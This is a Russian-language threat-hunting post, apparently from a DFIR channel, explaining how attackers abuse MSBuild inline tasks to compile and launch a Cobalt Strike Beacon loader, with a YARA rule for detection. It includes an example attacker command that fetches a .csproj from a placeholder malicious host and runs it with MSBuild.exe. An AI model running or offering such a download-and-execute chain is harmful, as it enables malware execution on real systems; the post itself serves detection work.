[ << ALL_FEED ]

Cobalt Strike Beacon и MSBuild

Ещё в группе «Общее»

🥷 Cobalt Strike Beacon и MSBuild

Практика наших расследований инцидентов показывает, что злоумышленники все еще используют Microsoft Build Engine для компиляции .NET и запуска Cobalt Strike Beacon на скомпрометированных узлах.

Предварительно на хост загружается конфигурация проекта .NET, представленная в формате XML. Конфигурация содержит в себе встроенную задачу.

Код задачи описан в структуре:


<Task> <Code Type="Fragment" Language="cs"> <![CDATA[...]]> </Code> </Task>

Задача — это блок исполняемого кода, с помощью которого MSBuild выполняет атомарные операции, которые используются разработчиками в процессе сборки проектов. В рассматриваемом случае злоумышленники используют данный механизм для запуска ВПО.

После успешной загрузки конфигурации запускается MSBuild, где параметром указан путь до конфигурации проекта. В результате на скомпрометированном хосте компилируется и запускается .NET библиотека. Она расшифровывает полезную нагрузку и вызывает функцию EnumChildWindows, которая исполняет шелл-код.

Пример запуска:


wget https://maliciouswebsite[.]com/doWqkwoown/update.csproj -O C:\Windows\Temp\update.csproj; C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Temp\update.csproj

Yara:


rule Susp_Microsoft_Build_Engine_XML_Schema {
  strings:
    $s1 = "TaskFactory=\"CodeTaskFactory" 
    $s2 = "VirtualAllocEx(0xFFFFFFFF, 0, (UInt32)"
    $e1 = "EnumChildWindows" 
    $e2 = "EnumDisplayMonitors" 
  condition:
    all of ($s*) and any of ($e*)
}

Дополнительные материалы 👈

#dfir #hunt #detect #yara #win
@ptescalator

Ещё от oUth0R

Ещё от oUth0R

Ещё в группе «Общее»